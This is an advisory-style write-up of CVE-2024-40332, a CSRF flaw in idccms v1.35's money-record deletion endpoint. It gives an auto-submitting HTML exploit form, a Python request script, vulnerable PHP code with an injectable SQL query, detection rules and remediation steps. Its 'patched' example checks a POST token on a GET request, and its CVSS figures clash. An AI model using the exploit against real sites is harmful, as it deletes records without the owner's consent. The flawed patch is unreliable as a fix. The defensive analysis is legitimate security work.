CVE-2024-40332

Executive Summary

CVE-2024-40332 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/moneyRecord_deal.php?mudi=delRecord endpoint, allowing an attacker to forge requests that delete money records on behalf of an authenticated administrator without their consent. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity CSRF issue. No official patch is available, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Only specific records can be deleted.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium (CVSS 4.3). Exploitation requires user interaction but can lead to unauthorized deletion of financial records.

Deep Dive & Mechanics

The vulnerability exists because the delRecord action in /admin/moneyRecord_deal.php does not implement anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged POST/GET request to delete money records. The lack of CSRF protection allows the attacker to perform state-changing operations without the victim's knowledge.

Root Cause: Missing CSRF token validation in the delRecord handler.

Attack Flow:

1. Attacker crafts a malicious link or form pointing to http://target/admin/moneyRecord_deal.php?mudi=delRecord&id=123.
2. Victim (authenticated admin) clicks the link or submits the form.
3. The request is processed, deleting the specified money record.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/moneyRecord_deal.php
if ($_GET['mudi'] == 'delRecord') {
    $id = $_GET['id'];
    $sql = "DELETE FROM money_record WHERE id = $id";
    mysqli_query($conn, $sql);
}

No CSRF token check.

Patched Code (Hypothetical):

// /admin/moneyRecord_deal.php
session_start();
if ($_GET['mudi'] == 'delRecord') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM money_record WHERE id = $id";
    mysqli_query($conn, $sql);
}

Adds CSRF token validation and input sanitization.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running idccms v1.35 with an authenticated admin session.
• Attacker can host a malicious HTML page.

Exploit (HTML Form):

<html>
<body>
<form action="http://target/admin/moneyRecord_deal.php?mudi=delRecord" method="GET">
  <input type="hidden" name="id" value="1">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

When the admin visits this page, the form auto-submits, deleting record ID 1.

Automated Exploit (Python):

import requests

target = "http://target/admin/moneyRecord_deal.php?mudi=delRecord&id=1"
# Requires victim to have active session cookie
cookies = {"PHPSESSID": "victim_session_id"}
requests.get(target, cookies=cookies)

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to /admin/moneyRecord_deal.php with mudi=delRecord from unexpected referers.
• Implement CSRF tokens and validate origin headers.

Lab Setup:

• Deploy idccms v1.35 in a Docker container.
• Use Burp Suite to intercept and replay requests.
• Simulate attack with a crafted HTML page.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /admin/moneyRecord_deal.php?mudi=delRecord&id=<number> with no Referer header or unexpected Referer.
• Logs: Apache/Nginx access logs showing repeated delRecord requests from a single IP.
• File: Presence of suspicious HTML files on admin's machine (e.g., csrf_exploit.html).

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "mudi=delRecord" nocase
        $s2 = "moneyRecord_deal.php" nocase
    condition:
        any of them
}

Sigma Rule

title: CSRF Exploit Against idccms v1.35
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the delRecord endpoint without proper CSRF protection.
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'mudi=delRecord'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"idccms CSRF Exploit - delRecord"; flow:to_server; content:"GET"; http_method; content:"/admin/moneyRecord_deal.php"; http_uri; content:"mudi=delRecord"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, per-session token to all state-changing forms.
2. Validate Origin: Check Origin or Referer headers against a whitelist.
3. Input Sanitization: Use intval() or prepared statements for id parameter.

Long-term Fix:

• Upgrade to a patched version if released.
• Apply a WAF rule to block requests to delRecord without a valid CSRF token.

Workaround:

• Restrict access to /admin/ directory via IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert